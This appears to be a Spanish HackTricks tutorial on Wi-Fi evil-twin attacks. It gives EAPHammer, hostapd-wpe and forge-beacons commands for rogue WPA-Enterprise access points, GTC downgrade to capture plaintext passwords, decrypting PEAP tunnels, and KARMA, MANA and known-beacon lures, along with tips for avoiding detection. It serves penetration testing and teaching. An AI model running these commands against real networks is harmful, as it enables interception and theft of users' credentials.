hostapd-wpe necesita un archivo de configuración para funcionar. Para automatizar la generación de estas configuraciones, puedes usar https://github.com/WJDigby/apd_launchpad (descarga el archivo python dentro de /etc/hostapd-wpe/).

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

En el archivo de configuración puedes seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, cret/key, parámetros dh, versión de wpa y autenticación...

Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.

Usando EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Por defecto, EAPHammer utiliza estos métodos de autenticación (nota GTC como el primero para intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Este es el método predeterminado para evitar tiempos de conexión largos. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débiles a más fuertes:

--negotiate weakest

O también puedes usar:

  • --negotiate gtc-downgrade para utilizar una implementación de degradación GTC altamente eficiente (contraseñas en texto plano)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP para especificar manualmente los métodos ofrecidos (ofrecer los mismos métodos de autenticación en el mismo orden que la organización hará que el ataque sea mucho más difícil de detectar).
  • Encuentra más información en el wiki

Usando Airgeddon

Airgeddon puede usar certificados generados previamente para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder capturar al usuario y el MD5 de la contraseña. Más tarde, el atacante puede intentar descifrar la contraseña.
Airggedon te ofrece la posibilidad de un ataque de Evil Twin continuo (ruidoso) o solo crear el Evil Attack hasta que alguien se conecte (discreto).

Depuración de túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins

Este método fue probado en una conexión PEAP pero como estoy descifrando un túnel TLS arbitrario esto también debería funcionar con EAP-TTLS

Dentro de la configuración de hostapd-wpe comenta la línea que contiene dh_file (de dh_file=/etc/hostapd-wpe/certs/dh a #dh_file=/etc/hostapd-wpe/certs/dh)
Esto hará que hostapd-wpe intercambie claves usando RSA en lugar de DH, por lo que podrás descifrar el tráfico más tarde conociendo la clave privada del servidor.

Ahora inicia el Evil Twin usando hostapd-wpe con esa configuración modificada como de costumbre. Además, inicia wireshark en la interfaz que está realizando el ataque de Evil Twin.

Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación) puedes agregar la clave privada RSA a wireshark en: Editar --> Preferencias --> Protocolos --> TLS --> (Lista de claves RSA) Editar...

Agrega una nueva entrada y completa el formulario con estos valores: Dirección IP = cualquier -- Puerto = 0 -- Protocolo = datos -- Archivo de clave (selecciona tu archivo de clave, para evitar problemas selecciona un archivo de clave sin protección con contraseña).

Y observa la nueva pestaña "TLS descifrado":

Ataque KARMA, MANA, MANA ruidoso y Beacons conocidos

Listas negras y blancas de ESSID y MAC

Diferentes tipos de Listas de Filtro de Control de Acceso a Medios (MFACLs) y sus modos correspondientes y efectos en el comportamiento de un Punto de Acceso (AP) falso:

  1. Lista blanca basada en MAC:
  • El AP falso responderá solo a las solicitudes de sondeo de dispositivos especificados en la lista blanca, permaneciendo invisible para todos los demás no listados.
  1. Lista negra basada en MAC:
  • El AP falso ignorará las solicitudes de sondeo de dispositivos en la lista negra, haciendo efectivamente invisible al AP falso para esos dispositivos específicos.
  1. Lista blanca basada en ESSID:
  • El AP falso responderá solo a las solicitudes de sondeo de ESSIDs específicos enumerados, haciéndose invisible para dispositivos cuyas Listas de Redes Preferidas (PNLs) no contienen esos ESSIDs.
  1. Lista negra basada en ESSID:
  • El AP falso no responderá a las solicitudes de sondeo de los ESSIDs específicos en la lista negra, haciéndose invisible para los dispositivos que buscan esas redes particulares.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Este método permite a un atacante crear un punto de acceso (AP) malicioso que responde a todas las solicitudes de sondeo de dispositivos que buscan conectarse a redes. Esta técnica engaña a los dispositivos para que se conecten al AP del atacante al imitar las redes que los dispositivos están buscando. Una vez que un dispositivo envía una solicitud de conexión a este AP falso, completa la conexión, lo que lleva al dispositivo a conectarse erróneamente a la red del atacante.

MANA

Luego, los dispositivos comenzaron a ignorar las respuestas de red no solicitadas, reduciendo la efectividad del ataque karma original. Sin embargo, se introdujo un nuevo método, conocido como el ataque MANA, por Ian de Villiers y Dominic White. Este método implica que el AP falso capture las Listas de Redes Preferidas (PNL) de los dispositivos respondiendo a sus solicitudes de sondeo de difusión con nombres de redes (SSIDs) previamente solicitados por los dispositivos. Este sofisticado ataque evade las protecciones contra el ataque karma original al explotar la forma en que los dispositivos recuerdan y priorizan las redes conocidas.

El ataque MANA opera monitoreando tanto las solicitudes de sondeo dirigidas como las de difusión de los dispositivos. Para las solicitudes dirigidas, registra la dirección MAC del dispositivo y el nombre de red solicitado, agregando esta información a una lista. Cuando se recibe una solicitud de difusión, el AP responde con información que coincide con cualquiera de las redes en la lista del dispositivo, atrayendo al dispositivo a conectarse al AP falso.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Ataque Loud MANA

Un ataque Loud MANA es una estrategia avanzada para cuando los dispositivos no utilizan sondeos dirigidos o cuando sus Listas de Redes Preferidas (PNL) son desconocidas para el atacante. Opera bajo el principio de que los dispositivos en la misma área probablemente compartan algunos nombres de red en sus PNL. En lugar de responder selectivamente, este ataque transmite respuestas de sondeo para cada nombre de red (ESSID) encontrado en las PNL combinadas de todos los dispositivos observados. Este enfoque amplio aumenta la posibilidad de que un dispositivo reconozca una red familiar e intente conectarse al Punto de Acceso (AP) falso.

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Ataque de Beacon Conocido

Cuando el ataque Loud MANA no es suficiente, el ataque de Beacon Conocido presenta otro enfoque. Este método **fuerza la conexión al simular un AP que responde a cualquier nombre de red, recorriendo una lista de posibles ESSIDs derivados de un diccionario de palabras. Esto simula la presencia de numerosas redes, con la esperanza de que coincida un ESSID dentro de la lista de redes preferidas del objetivo, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado al combinarlo con la opción --loud para un intento más agresivo de atrapar dispositivos.

Eaphammer implementó este ataque como un ataque MANA donde todos los ESSIDs dentro de una lista son cargados (también se puede combinar con --loud para crear un ataque Loud MANA + Beacon Conocido):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Ataque de Ráfaga de Beacons Conocidos

El ataque de Ráfaga de Beacons Conocidos implica la transmisión rápida de tramas de beacons para cada ESSID listado en un archivo. Esto crea un entorno denso de redes falsas, aumentando en gran medida la probabilidad de que los dispositivos se conecten al AP malicioso, especialmente cuando se combina con un ataque MANA. Esta técnica aprovecha la velocidad y el volumen para abrumar los mecanismos de selección de red de los dispositivos.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las cosas (IoT), como impresoras y televisores, facilitando la comunicación directa de dispositivo a dispositivo. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de un punto de acceso, conocido como el propietario del grupo, para gestionar la conexión.

La seguridad para las conexiones de Wi-Fi Direct se establece a través de Wi-Fi Protected Setup (WPS), que admite varios métodos para el emparejamiento seguro, incluidos:

  • Configuración de botón de presión (PBC)
  • Entrada de PIN
  • Comunicación de campo cercano (NFC)

Estos métodos, especialmente la entrada de PIN, son susceptibles a las mismas vulnerabilidades que WPS en las redes Wi-Fi tradicionales, lo que los convierte en objetivos para vectores de ataque similares.

Secuestro de EvilDirect

Secuestro de EvilDirect es un ataque específico para Wi-Fi Direct. Refleja el concepto de un ataque de Evil Twin pero se dirige a las conexiones de Wi-Fi Direct. En este escenario, un atacante se hace pasar por un propietario de grupo legítimo con el objetivo de engañar a los dispositivos para que se conecten a una entidad maliciosa. Este método se puede ejecutar utilizando herramientas como airbase-ng especificando el canal, ESSID y la dirección MAC del dispositivo suplantado:

Referencias

TODO: Echa un vistazo a https://github.com/wifiphisher/wifiphisher (inicio de sesión con Facebook e imitación de WPA en portales cautivos)

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas de errores!

Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de la plataforma

Únete a nosotros en Discord ¡y comienza a colaborar con los mejores hackers hoy!

Aprende a hackear AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: